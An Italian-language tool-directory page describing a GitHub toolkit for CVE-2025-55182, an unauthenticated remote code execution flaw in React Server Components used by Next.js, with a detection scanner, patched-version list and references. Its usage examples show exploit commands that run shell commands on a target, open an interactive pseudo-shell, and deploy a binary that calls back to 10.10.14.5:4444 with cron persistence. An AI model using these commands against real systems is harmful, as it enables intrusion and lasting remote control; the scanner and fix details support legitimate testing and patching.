Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-react2shell — Uno scanner bash per rilevare la vulnerabilità CVE-2025-55182 nelle applicazioni Next.js. E uno script PoC nodejs. | Kitploit
Strumenti/GitHubGitHub/saturate/cve-2025-55182-react2shell
Scanner di VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingCommand and ControlStrumento di Accesso RemotoSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
saturate/cve-2025-55182-react2shell

CVE-2025-55182-react2shell

Uno scanner bash per rilevare la vulnerabilità CVE-2025-55182 nelle applicazioni Next.js. E uno script PoC nodejs.

Vedi Repository
11 mese faNon ancora revisionato

react2shell

Toolkit per CVE-2025-55182. Scanner + exploit per RCE non autenticata in Next.js tramite iniezione di payload RSC.

Exploit Node.js: zero dipendenze. Scanner Bash: verifica singoli URL o elenchi in blocco.

Exploit

root@kitploit:~
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
root@kitploit:~
Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy concatena quattro chiamate RCE: rilevamento della piattaforma (uname), download del binario (avvia un server HTTP temporaneo, usa curl/wget sul target) e una spawn distaccata, così che il processo sopravviva al timeout di 5 secondi di execSync.

Nota: La pagina di destinazione deve essere dinamica (force-dynamic o una rotta non memorizzabile in cache). Le pagine statiche/prerenderizzate restituiscono digest in cache invece di eseguire il payload.

Scanner

root@kitploit:~
chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com
root@kitploit:~
Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

Template di integrazione

Template per strumenti di sicurezza in templates/:

  • Nuclei (templates/nuclei.yaml)
  • Burp Suite (templates/burp-scanner.json)
  • OWASP ZAP (templates/zap-scan-policy.xml)

Versioni interessate

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, tutte le 15.x e 16.x (prima delle patch)

Versioni corrette: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+

Dettagli tecnici

Vedi TECHNICAL.md per l'analisi completa della catena di exploit.

Riferimenti

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • Advisory React: https://react.dev/blog/2025/12/03/critical-security-vulnerability
  • Commit di fix: https://github.com/facebook/react/commit/7dc903cd29

Licenza

MIT

Autore

Allan Kimmer Jensen - https://akj.io

Scarica lo strumento